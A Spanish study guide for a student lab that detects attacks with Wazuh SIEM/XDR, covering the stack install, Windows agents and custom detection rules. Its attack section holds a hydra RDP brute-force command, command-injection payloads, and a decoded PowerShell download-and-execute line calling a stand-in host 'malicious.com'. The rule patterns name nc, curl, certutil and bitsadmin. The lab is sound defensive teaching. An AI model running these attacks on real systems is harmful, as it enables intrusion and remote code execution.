Guía de estudio

Proyecto 2 — Laboratorio de detección de incidentes con Wazuh XDR

Esta guía existe por una razón práctica: las preguntas caen sobre cualquiera, no sobre quien preparó el tema. Por eso está dividida en dos capas. La primera parte la estudian los cuatro sin excepción, porque cubre las preguntas que pueden caerle a cualquiera. La segunda son fichas individuales, con el detalle que cada uno necesita para su bloque.

Estúdienla en ese orden. Alguien que domina su ficha pero no la base común va a quedar mal parado en la primera pregunta cruzada.

El laboratorio

Trabajamos con cuatro máquinas virtuales en la red 192.168.0.0/24. El servidor Ubuntu en `.10` aloja el stack completo de Wazuh. Los dos equipos Windows, en `.20` (Server) y `.30` (Cliente), llevan el agente instalado y son los objetivos. Kali, en `.100`, es la máquina atacante.

El flujo de información va en una sola dirección: los ataques salen de Kali hacia los equipos Windows, los agentes de esos equipos envían la telemetría al servidor Wazuh por el puerto 1514, y el servidor procesa, almacena y muestra el resultado en el dashboard.

Reparto

Integrante	Bloque
Int. 1	Fundamentos, arquitectura, reglas XDR (Fase 3) y cierre
Int. 2	Instalación del stack (Fase 1)
Int. 3	Agentes Windows y flujo de datos (Fase 2)
Int. 4	Ataques desde Kali y verificación de alertas (Fases 4 y 5)

Parte 1. Base común

Qué es un SIEM

Un SIEM (Security Information and Event Management) resuelve un problema concreto: los registros de seguridad de una organización están dispersos en decenas de equipos, cada uno con su propio formato, y nadie los mira. El SIEM los recolecta en un punto único, los normaliza a una estructura común y los correlaciona entre sí.

La correlación es lo que distingue a un SIEM de un simple repositorio de logs. Un intento de inicio de sesión fallido no significa nada por sí solo; ocurre todos los días porque la gente se

equivoca al escribir su contraseña. Cincuenta intentos fallidos en dos minutos desde la misma dirección IP sí significa algo. El valor está en la relación entre eventos, no en el evento aislado.

Qué añade XDR

XDR (Extended Detection and Response) parte del SIEM y extiende su alcance en dos direcciones. Hacia abajo, incorpora telemetría del propio endpoint: procesos en ejecución, cambios en archivos, modificaciones del registro de Windows, líneas de comando completas. Hacia adelante, incorpora capacidad de respuesta: bloquear una IP en el firewall, deshabilitar una cuenta, aislar un equipo de la red.

La diferencia con un EDR es el alcance. Un EDR vive en el endpoint y ve muy bien lo que pasa dentro de una máquina, pero no correlaciona entre máquinas. Un XDR unifica esa visión de endpoint con logs de red, servidores y servicios en nube.

Wazuh cumple los dos papeles. Centraliza y correlaciona como SIEM, y a través de sus agentes hace monitoreo de integridad de archivos, evaluación de configuración y respuesta activa, que es territorio XDR.

Los componentes de Wazuh

Son cuatro y hay que saberlos nombrar sin dudar.

El **agente** se instala en cada equipo a vigilar. Recolecta logs y telemetría y los envía cifrados al servidor. Existe para Windows, Linux y macOS.

El **servidor o manager** recibe esos eventos. Primero los pasa por los *decoders*, que extraen los campos del texto crudo (usuario, IP, identificador de evento). Luego evalúa esos campos contra el conjunto de reglas mediante el proceso `analysisd`. Cuando una regla coincide, se genera una alerta.

El **indexer** almacena e indexa las alertas para que se puedan buscar. Está construido sobre OpenSearch.

El **dashboard** es la interfaz web desde la que se consulta e investiga.

A esto se suma **Filebeat**, que es el componente que traslada las alertas del servidor al indexer.

La instalación *all-in-one* significa simplemente que los cuatro componentes están en la misma máquina. Sirve para laboratorio y para volúmenes pequeños. En producción se separan, porque el indexer es el que consume recursos y conviene poder escalarlo o agruparlo en clúster sin tocar el resto.

Decoder y regla no son lo mismo

Es la confusión más frecuente y de las que más se preguntan. El decoder *entiende* el log: sabe que en un texto de Windows el campo tal corresponde al usuario y el campo cual a la IP

de origen. La regla *decide*: dado que el usuario es X y el evento es un fallo de autenticación repetido, esto es un ataque de nivel 5.

Primero decodifica, después evalúa. Sin decoder que extraiga los campos, la regla no tiene sobre qué operar.

El recorrido de un evento

Ocurre algo en Windows, por ejemplo un inicio de sesión fallido, que el sistema registra como Event ID 4625. El agente lo captura del canal de eventos y lo envía cifrado al manager por el puerto 1514. El manager lo decodifica, lo evalúa contra las reglas y, si coincide con alguna, escribe una alerta en `alerts.json`. Filebeat la envía al indexer, que la almacena, y el dashboard la muestra.

Todo el trayecto ocurre en segundos. Si en algún momento necesitan explicar por qué una alerta no aparece, este recorrido es el mapa de diagnóstico: falló la captura, el envío, la decodificación, la regla o la indexación.

MITRE ATT&CK

Es un catálogo público de las tácticas y técnicas que usan los atacantes reales, mantenido por MITRE a partir de observación de campañas documentadas.

Una **táctica** es el objetivo del atacante, el para qué: obtener acceso inicial, ejecutar código, persistir, moverse lateralmente. Una **técnica** es el cómo, y lleva un identificador. T1059 es *Command and Scripting Interpreter*, es decir, ejecutar código a través de un intérprete de comandos. Una **sub-técnica** especifica más: T1059.001 es concretamente PowerShell.

Sirve para tres cosas. Da un lenguaje común, de modo que dos analistas de organizaciones distintas hablan de T1105 y entienden lo mismo. Permite medir cobertura defensiva: qué técnicas detecto y cuáles no. Y permite justificar decisiones de inversión con un marco reconocido en lugar de con intuiciones.

Las técnicas que aparecen en este proyecto son T1110 (fuerza bruta), T1059 (intérprete de comandos), T1059.001 (PowerShell) y T1105 (transferencia de herramientas al entorno comprometido).

Niveles de severidad

Wazuh califica de 0 a 15. Hasta 3 es informativo. De 4 a 7, relevante pero no urgente. De 8 a 11 se considera actividad probablemente maliciosa. De 12 en adelante, crítica.

Nuestras tres reglas usan 10, 12 y 13. La escalada no es arbitraria y conviene poder justificarla: un intento de inyección de comandos es reconocimiento, ofuscar deliberadamente un comando de PowerShell implica intención de evadir, y descargar un ejecutable ya es entrega de armamento.

Vocabulario

No hace falta recitarlo, pero sí reconocerlo. Si alguno de estos términos aparece en una pregunta y el integrante se queda mirando, la respuesta ya salió mal antes de empezar.

Del dato y la alerta

Un **log** es el registro de un evento del sistema, escrito por el propio sistema operativo o por una aplicación. Un **evento** es cualquier cosa que ocurre y queda registrada; la inmensa mayoría no tiene interés de seguridad. Una **alerta** es un log que coincidió con una regla y por tanto ameritó atención.

La **normalización** es convertir logs de formatos distintos a una estructura común, para poder compararlos. La **correlación** es relacionar varios eventos entre sí para inferir algo que ninguno dice por separado. El **enriquecimiento** es añadir contexto externo a un evento, por ejemplo la reputación de una IP o la geolocalización del origen.

Telemetría es el conjunto de datos que un agente reporta sobre el estado de un equipo: procesos, conexiones, cambios en archivos, inventario de software. Es un concepto más amplio que el de log, porque no todo lo que reporta un agente estaba escrito en un archivo de registro.

Un **falso positivo** es una alerta sobre actividad legítima. Un **falso negativo** es un ataque real que no generó alerta, y es el problema más grave de los dos, porque un falso positivo se descarta al revisarlo mientras que un falso negativo nadie sabe que existe. Un **verdadero positivo** es una alerta que efectivamente correspondía a actividad maliciosa. La **fatiga de alertas** es lo que ocurre cuando el volumen de falsos positivos es tan alto que el analista deja de mirarlas.

Afinar o **tunear** una regla es ajustarla después de verla funcionar con tráfico real, para que atrape lo que debe y calle en lo que no. El **ruido** es el volumen de eventos irrelevantes que oculta lo importante. La **línea base** es el comportamiento normal del entorno, y sirve como referencia: sin saber qué es normal no se puede identificar lo anómalo.

De la plataforma

Un **decoder** interpreta un log crudo y extrae sus campos. Una **regla** evalúa esos campos y decide si hay que alertar. `analysisd` es el proceso del manager que ejecuta esa evaluación. **Filebeat** es el componente que traslada las alertas del manager al indexer.

En el XML de una regla, `rule id` es el identificador único, `level` la severidad de 0 a 15, `if_sid` la regla padre de la que depende, `match` el patrón de texto que se busca, `regex` su versión con expresiones regulares completas y `description` el texto que verá el analista. Los identificadores del 100000 en adelante están reservados para reglas propias; el resto pertenece al catálogo oficial de Wazuh.

FIM, *File Integrity Monitoring*, vigila cambios en archivos y en el registro de Windows. **SCA**, *Security Configuration Assessment*, compara la configuración del sistema contra un estándar de referencia como los benchmarks del CIS. **Active Response** es la capacidad de ejecutar una acción automática al dispararse una regla, por ejemplo bloquear una IP.

El **enrolamiento** es el registro inicial de un agente en el manager, que ocurre a través del servicio `authd` en el puerto 1515 y termina con la entrega de una clave única. El modo **agentless** es monitorear un dispositivo sin instalarle nada, recibiendo lo que envíe por syslog; se usa en equipos donde no se puede instalar software.

La **retención** es cuánto tiempo se conservan los logs y las alertas. Suele estar fijada por normativa más que por criterio técnico.

Del atacante

Reconocimiento es la fase en la que el atacante recopila información sobre el objetivo. La **escalada de privilegios** es pasar de una cuenta con permisos limitados a una con permisos administrativos. La **persistencia** es asegurarse de mantener el acceso aunque el equipo se reinicie o se cambie una contraseña. El **movimiento lateral** es saltar desde el equipo comprometido a otros de la misma red. La **exfiltración** es sacar datos fuera de la organización.

Un **payload** es el código o archivo malicioso que el atacante entrega. **Ofuscar** es ocultar el contenido real de un comando, normalmente codificándolo, para que ni el analista ni las firmas simples lo reconozcan. Un ataque **fileless** o sin archivo ejecuta código directamente en memoria sin escribir nada en disco, que es exactamente lo que hace el tercer ataque de este laboratorio.

Un **LOLBin**, de *Living Off The Land Binary*, es un programa legítimo del sistema operativo que el atacante usa para fines maliciosos. `certutil` y `bitsadmin` son los ejemplos del proyecto. La ventaja para el atacante es doble: no tiene que introducir herramientas propias y el binario está firmado por Microsoft.

C2 o *command and control* es la infraestructura desde la que el atacante controla el equipo comprometido. El **beaconing** es el patrón de conexiones periódicas del equipo infectado hacia su C2, y es detectable justamente por su regularidad.

En cuanto a credenciales, la **fuerza bruta** prueba muchas contraseñas contra una cuenta, el **ataque de diccionario** las prueba desde una lista de contraseñas conocidas, el **password spraying** invierte la lógica y prueba una sola contraseña común contra muchas cuentas para no disparar bloqueos, y el **credential stuffing** reutiliza pares de usuario y contraseña filtrados en otras brechas.

Un **IOC**, *indicator of compromise*, es un dato concreto que evidencia un compromiso: un hash, una IP, un nombre de archivo. Las **TTP** son las tácticas, técnicas y procedimientos de

un atacante, y son más difíciles de cambiar que un IOC, razón por la cual detectar comportamiento es más robusto que detectar firmas.

De Windows

El **Visor de eventos** organiza los registros en **canales**: Security, System, Application y, si está instalado, el canal de Sysmon. Cada entrada lleva un **Event ID** que identifica el tipo de suceso. El 4625 es un inicio de sesión fallido, el 4624 uno exitoso, el 4720 la creación de una cuenta de usuario y el 4672 la asignación de privilegios especiales a una sesión.

Sysmon es una herramienta gratuita de Microsoft que amplía muchísimo el registro nativo: su Event ID 1 incluye la línea de comando completa del proceso creado y el proceso padre que lo lanzó, que es justo lo que hace falta para detectar de forma fiable los ataques de este proyecto. No lo desplegamos, y es una de las limitaciones que reconocemos.

Una **GPO** es una directiva de grupo, el mecanismo con el que se aplica configuración de forma centralizada en un dominio; es como se desplegaría Sysmon o el propio agente en una red real. **RDP** es el protocolo de escritorio remoto, que escucha en el puerto 3389 y es el objetivo del primer ataque. **SMB** es el protocolo de archivos compartidos de Windows, en el puerto 445. Un **MSI** es el formato de paquete de instalación de Windows, y `msiexec` el programa que lo procesa.

De la operación

Un **SOC** es el centro de operaciones de seguridad, el equipo que monitorea y responde. El **triaje** es la primera clasificación de una alerta para decidir si se descarta o se escala. Un **playbook** es el procedimiento escrito para responder a un tipo concreto de incidente. El **threat hunting** es la búsqueda proactiva de actividad maliciosa que no generó ninguna alerta.

MTTD y **MTTR** son el tiempo medio hasta detectar y hasta responder, y son las métricas con las que se mide si un SOC funciona. El **dwell time** es cuánto tiempo permaneció el atacante dentro sin ser detectado.

La **defensa en profundidad** es la idea de superponer capas de control asumiendo que cada una fallará alguna vez. El **mínimo privilegio** es dar a cada cuenta y servicio solo los permisos que necesita. El **hardening** es reducir la superficie de ataque de un sistema desactivando lo que no se usa.

Conviene además no confundir tres cosas que suelen mezclarse. **Codificar**, como hace Base64, transforma datos para transportarlos y cualquiera puede revertirlo; no protege nada. **Cifrar** transforma datos con una clave y solo quien la tenga puede revertirlo. **Hashear** produce una huella de longitud fija que no se puede revertir, y se usa para verificar integridad. El comando ofuscado del tercer ataque está codificado, no cifrado, y por eso pudimos leerlo.

Parte 2. Fichas individuales

Integrante 1 — Fundamentos, arquitectura y reglas XDR

Tu bloque es el que concentra las preguntas de fondo. Además de exponer, te toca el cierre y responder lo que los demás no puedan.

Cómo se escribe una regla

Las reglas viven en `/var/ossec/etc/rules/local_rules.xml` y se agrupan dentro de un elemento `<group>` que sirve para etiquetarlas y filtrarlas después.

```xml
<group name="local,custom,execution,">
  <rule id="100001" level="10">
    <if_sid>31101</if_sid>
    <match>patrón a buscar</match>
    <description>Texto que verá el analista</description>
    <mitre><id>T1059</id></mitre>
  </rule>
</group>
```

El elemento que más se pregunta es `if_sid`. Establece una dependencia: esta regla solo se evalúa si antes disparó la regla 31101. Eso reduce el trabajo de `analysisd`, que no tiene que probar todas las reglas contra todos los eventos, y acota el contexto, lo cual baja los falsos positivos.

Regla 100001 — Inyección de comandos

```xml
<match>.*(;|&&|\|\||`|\\$\().*?(wget|curl|nc|bash|python|perl|id|whoami|sh|cat|
```

El regex tiene dos bloques y hay que leerlo así. El primero busca separadores de comando: punto y coma, doble ampersand, doble barra vertical, backtick, apertura de subshell. Son los caracteres con los que un atacante encadena un comando propio a una entrada que la aplicación esperaba inocente. El segundo bloque busca binarios del sistema que se usan típicamente para reconocimiento o descarga.

La lógica combinada es: si aparece un separador de comandos seguido de un binario del sistema, alguien está intentando inyectar. Un caso concreto sería una URL como `ping.php?ip=127.0.0.1;id`, donde la aplicación esperaba solo una dirección IP y el punto y coma abre la puerta a un comando adicional.

Nivel 10 y técnica T1059.

Regla 100002 — PowerShell ofuscado

```xml
<match>.*powershell.*( -e | -enc | -en| -encodedcommand).*</match>
```

PowerShell acepta abreviaturas de sus parámetros, de modo que `-e`, `-en`, `-enc` y `-encodedcommand` hacen exactamente lo mismo. Si la regla buscara únicamente la forma larga, evadirla costaría dos caracteres. Por eso el patrón cubre las cuatro variantes.

`-EncodedCommand` recibe el comando codificado en Base64 sobre UTF-16LE. Tiene un uso legítimo, que es evitar problemas de escapado de comillas en scripts complejos, pero en la práctica su aparición en un endpoint de usuario es una señal fuerte: sirve para que el comando real no sea legible ni para el analista ni para las firmas simples.

Nivel 12, más alto que la anterior, porque la ofuscación implica intención deliberada de evadir la detección. No es algo que ocurra por accidente. Técnica T1059.001.

Regla 100003 — Descarga de payload

```xml
<match>.*(Invoke-WebRequest|wget|curl|certutil.*-urlcache|bitsadmin.*/transfer)
```

Esta regla busca lo que se conoce como LOLBins, binarios legítimos del sistema usados para fines maliciosos. `certutil` existe para gestionar certificados, pero su parámetro `-urlcache` descarga cualquier archivo desde cualquier URL, y durante años fue la forma preferida de traer malware a un equipo Windows sin instalar nada. `bitsadmin /transfer` hace algo parecido usando el servicio de transferencia en segundo plano, con la ventaja añadida para el atacante de que la descarga sobrevive a reinicios y pasa desapercibida.

El patrón exige además que el archivo tenga extensión ejecutable o de script. Sin esa condición, la regla dispararía con cualquier descarga legítima.

Nivel 13, el más alto de las tres, porque en este punto el atacante ya no está explorando: está trayendo su herramienta al entorno. Técnica T1105.

Aplicar y validar

```bash
```

```
sudo nano /var/ossec/etc/rules/local_rules.xml
sudo /var/ossec/bin/wazuh-logtest
sudo systemctl restart wazuh-manager
```

Menciona `wazuh-logtest` en la exposición. Es la herramienta con la que se depura una regla de verdad: se le pega un log de ejemplo y responde qué decoder lo procesó, qué regla disparó y con qué nivel. Reiniciar el manager a ciegas para ver si funciona es lo que hace quien no conoce la herramienta.

Preguntas que te van a hacer

Por qué los identificadores empiezan en 100001. Porque Wazuh reserva el rango 0–99999 para sus reglas oficiales. Usar 100000 en adelante evita colisiones y que una actualización del producto sobrescriba nuestro trabajo.

Cómo evitarían los falsos positivos. Por tres vías. Acotando el alcance con `if_sid` y restringiendo las reglas a grupos de agentes concretos. Escribiendo reglas de exclusión con nivel 0 para los casos legítimos conocidos, por ejemplo un script de administración autorizado que use `Invoke-WebRequest`. Y validando contra tráfico real con `wazuh-logtest` antes de subir el nivel de severidad.

Si estas reglas se pueden evadir. Sí, y hay que decirlo. Son detección basada en patrones, y un atacante puede fragmentar cadenas, usar alias o codificar de otra forma. Son una capa, no la única. En un entorno real se combinan con Sysmon, que aporta la línea de comando completa y el proceso padre, con reglas de comportamiento y con detección de anomalías.

Si esto es detección o prevención. Detección. Wazuh puede pasar a prevención habilitando *Active Response*, que ejecuta scripts al dispararse una regla de determinado nivel, por ejemplo para bloquear la IP origen en el firewall o deshabilitar una cuenta.

Qué limitación reconocen en su implementación. Esta es la pregunta que conviene adelantar antes de que la hagan. Las tres reglas se encadenan a `if_sid 31101`, que pertenece a la familia de reglas de acceso web. Para eventos nativos de Windows, lo correcto sería encadenar con la regla padre del decoder de EventChannel y evaluar campos específicos como `win.eventdata.commandLine` en lugar de un `match` genérico sobre el texto completo. En un despliegue real ajustaríamos el `if_sid` según la fuente de log de cada regla y desplegaríamos Sysmon en los endpoints para capturar la línea de comando completa.

Integrante 2 — Instalación del stack

Tu bloque es procedimental, lo cual juega a tu favor: puedes demostrarlo en pantalla. Lo que no puede pasar es que expliques qué comando ejecutaste sin explicar qué hace ese comando.

Antes de instalar

El servidor es un Ubuntu 22.04 LTS de 64 bits con IP estática 192.168.0.10. Necesita como mínimo 4 GB de RAM y 2 vCPU, aunque lo recomendado son 8 GB. El requisito de memoria viene del indexer, que corre sobre Java y reserva memoria para la JVM; si el sistema se queda corto, el indexer es el primero en caer y el dashboard deja de responder.

Los comandos, uno por uno

bash

```
sudo apt update && sudo apt upgrade -y
```

`update` refresca la lista de paquetes disponibles en los repositorios; `upgrade` instala las versiones nuevas de lo que ya está instalado. El `-y` acepta automáticamente. Se hace primero por higiene: instalar una plataforma de seguridad sobre un sistema sin parchear es contradictorio.

bash

```
curl -sO https://packages.wazuh.com/4.x/wazuh-install.sh
```

Descarga el script de instalación. La opción `-s` suprime la barra de progreso y `-O` guarda el archivo con el mismo nombre que tiene en el servidor remoto. El punto que vale la pena señalar es el origen: `packages.wazuh.com` es el repositorio oficial. Descargar un instalador de seguridad desde un mirror desconocido anula el propósito del ejercicio.

bash

```
sudo bash wazuh-install.sh --generate-config-files
```

Genera el archivo `config.yml` y empaqueta en `wazuh-install-files.tar` los certificados TLS y las contraseñas que usarán los componentes entre sí. Todo el tráfico interno del stack va cifrado, y estos son los certificados que lo permiten.

bash

```
sudo bash wazuh-install.sh --wazuh-indexer node-1 \
  --wazuh-server wazuh-1 \
  --wazuh-dashboard dashboard \
  --start-cluster
```

Cada parámetro instala un componente: el indexer como nodo único llamado `node-1`, el servidor como `wazuh-1` y el dashboard. `--start-cluster` inicializa el clúster del indexer y activa su capa de seguridad.

Existe una forma abreviada, `sudo bash wazuh-install.sh -a`, que hace lo mismo en una sola opción. Usamos la forma explícita porque deja visible qué se está instalando, que era parte del objetivo académico.

Credenciales

```bash
sudo tar -O -xvf wazuh-install-files.tar wazuh-install-files/wazuh-passwords.tx
```

De las opciones de `tar`, `-x` extrae, `-v` muestra lo que va extrayendo y `-f` indica el archivo. La interesante es `-O`, que imprime el contenido en pantalla en lugar de escribirlo a disco. Así el archivo de contraseñas no queda suelto en el sistema de archivos después de leerlo.

Con esas credenciales se entra a `https://192.168.0.10` como usuario `admin`. El navegador va a mostrar una advertencia de certificado, y hay que saber explicar por qué: el certificado es autofirmado, generado durante la instalación. En laboratorio es aceptable; en producción se sustituiría por uno emitido por una autoridad certificadora reconocida.

Puertos

```bash
sudo ufw allow 1514/tcp
sudo ufw allow 1514/udp
sudo ufw allow 443/tcp
sudo ufw enable
```

`ufw` es el front-end simplificado de `iptables`. La lógica que aplicamos es la de mínimo privilegio: se abre únicamente lo que el servicio necesita.

Puerto	Uso
1514 TCP/UDP	Envío de eventos del agente al manager
1515 TCP	Registro de agentes (`authd`)
443 TCP	Dashboard web
9200 TCP	API del indexer, tráfico interno
55000 TCP	API REST de Wazuh

El 1515 no aparece en el enunciado del proyecto pero conviene conocerlo, porque es por donde el agente se enrola la primera vez y recibe su clave.

En la demostración

Muestra el estado de los tres servicios con `sudo systemctl status wazuh-manager wazuh-indexer wazuh-dashboard`, las reglas activas del firewall con `sudo ufw status`, y entra al dashboard.

Preguntas que te van a hacer

Por qué all-in-one. Por los recursos disponibles y el volumen de eventos, que en un laboratorio es bajo. En producción se separan los componentes para poder escalarlos por separado, tolerar fallos y aislar la carga; el indexer suele desplegarse en clúster de tres nodos.

Por qué el 1514 en TCP y UDP. Wazuh admite ambos. UDP tiene menos sobrecarga pero no garantiza la entrega. TCP sí, y en seguridad se prefiere porque perder un evento significa perder evidencia.

Si el tráfico entre agente y manager va cifrado. Sí. El agente cifra con una clave establecida durante el registro, y el resto del stack se comunica con los certificados TLS generados en la instalación.

Dónde queda instalado todo. Bajo `/var/ossec/`. Dentro están `etc/` con la configuración y las reglas, `logs/` con `alerts.json` y `ossec.log`, y `bin/` con los binarios como `wazuh-logtest` y `agent_control`.

Integrante 3 — Agentes Windows y flujo de datos

Tu bloque une dos cosas: cómo se despliega el agente y cómo viaja un log desde el endpoint hasta la pantalla. La segunda parte es la que más se pregunta.

Qué hace el agente

Lee los canales de eventos de Windows, que son Security, System, Application y, si está instalado, Sysmon. Además hace monitoreo de integridad sobre archivos y sobre el registro, evalúa la configuración del sistema contra benchmarks CIS, mantiene un inventario de software instalado para cruzarlo con bases de vulnerabilidades, y ejecuta las respuestas activas que le ordene el manager.

Se instala como servicio de Windows, de modo que arranca con el sistema y no depende de que haya un usuario con sesión iniciada.

Instalación

```powershell
Invoke-WebRequest -Uri https://packages.wazuh.com/4.x/windows/wazuh-agent-4.14.
```

`Invoke-WebRequest` es el cliente HTTP de PowerShell, el equivalente a `curl`. Hay un detalle que vale la pena señalar en la exposición: este mismo cmdlet es el que detecta nuestra regla 100003. La herramienta es idéntica, lo que cambia es el contexto. Esa es exactamente la dificultad de la detección basada en patrones y explica por qué las reglas necesitan afinamiento.

```powershell
msiexec.exe /i .\wazuh-agent.msi /q WAZUH_MANAGER="192.168.0.10" WAZUH_AGENT_NA
```

`msiexec` es el instalador de paquetes MSI de Windows. `/i` indica instalación y `/q` la hace silenciosa, sin interfaz gráfica, que es como se despliega en entornos con muchos equipos. Los dos parámetros en mayúsculas son propiedades del instalador de Wazuh: la IP del manager al que reportará el agente y el nombre con el que aparecerá en el dashboard.

```powershell
Start-Service WazuhSvc
```

Inicia el servicio. Para verificarlo, `Get-Service WazuhSvc`; después de cambiar configuración, `Restart-Service WazuhSvc`.

El procedimiento en el Windows Cliente es idéntico, cambiando el nombre del agente a `WINDOWS-CLIENT`.

La configuración del agente queda en `C:\Program Files (x86)\ossec-agent\ossec.conf`, y ahí se define a qué manager reporta, qué canales de eventos lee y qué rutas vigila con FIM.

Verificación y estados

En el dashboard, la sección Agents muestra cuatro estados posibles. **Active** significa conectado y enviando. **Disconnected** que dejó de responder, sea porque el servicio se detuvo, porque hay un problema de red o porque un firewall bloquea el 1514. **Pending** que se registró pero no completó el intercambio inicial. **Never connected** que existe en el manager pero nunca llegó a comunicarse.

Desde el servidor, el equivalente en línea de comandos es `sudo /var/ossec/bin/agent_control -l`.

Si un agente no conecta

Ten preparado este diagnóstico en cuatro pasos, porque es probable que lo necesites en vivo. Primero, verificar que el servicio corre con `Get-Service WazuhSvc`. Segundo, comprobar conectividad con `Test-NetConnection 192.168.0.10 -Port 1514`. Tercero, revisar si el firewall de Windows o el UFW del servidor están bloqueando. Cuarto, leer el log del agente en `C:\Program Files (x86)\ossec-agent\ossec.log`, que suele decir exactamente qué falló.

Preguntas que te van a hacer

Agente frente a monitoreo sin agente. El agente da telemetría profunda, funciona aunque el equipo cambie de red y puede ejecutar respuestas. El modo sin agente no requiere instalar nada pero solo recibe lo que el dispositivo decida enviar por syslog, y se usa donde no se puede instalar software, típicamente switches, firewalls o appliances.

Cuántos recursos consume. Poco, del orden de decenas de megabytes de RAM y uso de CPU bajo, porque el análisis pesado ocurre en el manager. El agente básicamente recolecta y transmite.

Qué pasa si el agente pierde la conexión. Almacena los eventos en un búfer local y los reenvía al reconectar, dentro de los límites de cola configurados. Además, el propio cambio a estado *Disconnected* genera una alerta, lo que significa que un atacante que detenga el servicio del agente delata su presencia. Esa acción está catalogada en MITRE como T1562, *Impair Defenses*.

Por qué instalar el agente en los dos equipos. Para cubrir dos perfiles distintos de objetivo. El servidor recibe el ataque de fuerza bruta contra RDP porque es el que expone acceso remoto; el cliente recibe la ejecución de payload porque es el perfil típico de un puesto de usuario. Con los dos podemos mostrar correlación entre equipos.

Cómo se registra el agente. A través de `authd` en el puerto 1515. El agente solicita el registro, el manager le entrega una clave única, y a partir de ese momento toda la comunicación de eventos va cifrada con esa clave por el 1514.

Integrante 4 — Ataques y verificación

Abre tu intervención dejando claro el marco: todos los ataques se ejecutaron en un entorno virtualizado y aislado, sobre máquinas propias, con el único fin de validar que las reglas de detección funcionan. No se tocó ningún sistema de terceros. Dicho eso, entra en materia.

Herramientas

```bash
sudo apt update
sudo apt install -y nmap hydra curl netcat-openbsd metasploit-framework
```

`nmap` para descubrimiento de hosts y puertos, `hydra` para fuerza bruta de credenciales, `curl` para construir peticiones HTTP manipuladas, `netcat` para abrir conexiones TCP o UDP arbitrarias, y Metasploit como framework de explotación.

Qué ataque activa qué regla

Esta correspondencia es lo que más te van a preguntar, y hay que tenerla de memoria.

Ataque	Evento que genera	Regla	Nivel	MITRE
Fuerza bruta RDP	Event ID 4625 repetido	60122 (predefinida)	5	T1110
Inyección de comandos	Log con `;id` o `whoami`	100001	10	T1059
PowerShell ofuscado	Comando con `-EncodedCommand`	100002	12	T1059.001
Descarga de payload	Petición con archivo `.exe`	100003	13	T1105

Ataque 1, fuerza bruta contra RDP

```bash
hydra -l administrador -P /usr/share/wordlists/rockyou.txt rdp://192.168.0.20 -
```

`-l` fija un único usuario, `-P` indica el diccionario de contraseñas y `-t 4` limita a cuatro hilos en paralelo. Ese límite es deliberado: RDP responde mal a demasiadas conexiones simultáneas y el objetivo no es tumbar el servicio, sino generar el patrón de fallos que Wazuh debe correlacionar. El diccionario `rockyou.txt` viene incluido en Kali y contiene unos catorce millones de contraseñas reales, filtradas en la brecha de RockYou en 2009.

Lo que ve Wazuh es una serie de Event ID 4625 desde la misma IP en una ventana corta de tiempo. Una regla predefinida de la familia 60xxx los correlaciona y alerta. Este ataque es el mejor ejemplo de correlación del proyecto: ningún evento individual es sospechoso, el patrón sí.

Ataque 2, inyección de comandos

```bash
curl "http://192.168.0.30/script.php?cmd=whoami" 2>/dev/null
echo "GET /ping.php?ip=127.0.0.1;id" | nc 192.168.0.30 80
```

El punto y coma cierra el valor que la aplicación esperaba y encadena un comando adicional. El `2>/dev/null` simplemente descarta los mensajes de error para que la terminal quede limpia durante la demostración.

Lo que busca el atacante en esta fase es reconocimiento. `whoami` e `id` responden con qué usuario está ejecutando el servicio, y esa información determina el siguiente paso: si el servicio corre con privilegios altos, el atacante ya ganó; si no, tiene que buscar una escalada.

Ataque 3, PowerShell ofuscado

```bash
echo "powershell -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQA..." |
```

Decodifica la cadena de antemano y explica qué contiene, porque presentar un bloque de Base64 sin saber qué hace es la peor forma de exponer este ataque. El contenido equivale a:

```
IEX (New-Object
Net.WebClient).DownloadString('http://malicious.com/payload.ps1')
```

Tiene tres partes. `New-Object Net.WebClient` crea un cliente HTTP. `.DownloadString()` descarga el script como texto, no como archivo. E `IEX`, abreviatura de `Invoke-Expression`, ejecuta ese texto directamente en memoria.

La consecuencia es que el script nunca se escribe en disco. Un antivirus que trabaje comparando firmas de archivos no tiene nada que analizar, porque no hay archivo. Esta es la razón técnica por la que hace falta detección basada en línea de comando y comportamiento, y es el argumento más sólido a favor de un enfoque XDR en todo el proyecto.

Ataque 4, descarga de payload

```bash
curl -X POST "http://192.168.0.30/download" -d "url=http://malicious.com/payloa
```

`-X POST` fuerza el método y `-d` envía los datos en el cuerpo de la petición. Representa la fase en la que el atacante ya no explora sino que trae su herramienta al entorno comprometido, que es lo que MITRE clasifica como T1105.

Verificación en el dashboard

Se entra a `https://192.168.0.10`, se va a Security Events y se filtra:

```
rule.id:100001 OR rule.id:100002 OR rule.id:100003
```

Antes de nada, ajusta el rango de tiempo en la esquina superior derecha a la ventana en que se ejecutaron los ataques. Es el error más común en las demostraciones: el filtro está bien pero el rango es de los últimos quince minutos y no aparece nada.

De cada alerta hay que señalar el `timestamp`, el `agent.name` para identificar qué equipo fue afectado, `rule.id` y `rule.description` para explicar qué disparó, `rule.level`, el mapeo en `rule.mitre.id`, y sobre todo `full_log`, que contiene el registro crudo original y es la evidencia real de lo ocurrido.

Otras búsquedas que puedes mostrar: `rule.level:>=10` para ver solo lo alto y crítico, `agent.name:WINDOWS-CLIENT` para filtrar por equipo, o `rule.mitre.id:T1059` para filtrar por técnica. El menú de Wazuh incluye además un módulo MITRE ATT&CK que muestra la matriz con las técnicas detectadas; ábrelo al final.

Preguntas que te van a hacer

Si los ataques fueron reales o simulados. Son ejecuciones reales de herramientas ofensivas, en un entorno aislado. El objetivo no era comprometer los equipos sino generar la telemetría necesaria para comprobar que las reglas funcionan.

Por qué el primer ataque no necesitó regla propia. Porque Wazuh ya trae reglas para autenticación de Windows. Sirve de contraste: muestra qué cubre el producto de fábrica y qué tuvimos que construir nosotros. No tiene sentido reescribir lo que ya existe y está probado.

Qué harían después de detectar el incidente. Seguiríamos el ciclo de respuesta a incidentes de NIST: preparación, detección y análisis, contención, erradicación, recuperación y lecciones aprendidas. En concreto, aislar el equipo afectado, bloquear la IP

origen, revisar si el atacante estableció persistencia o comprometió credenciales, restaurar desde una copia limpia y afinar la regla con lo aprendido.

Cómo saben que la alerta corresponde a su ataque. Por tres datos que coinciden: la marca de tiempo con el momento de ejecución, el nombre del agente con el equipo objetivo, y el contenido de `full_log` con la cadena exacta que se envió.

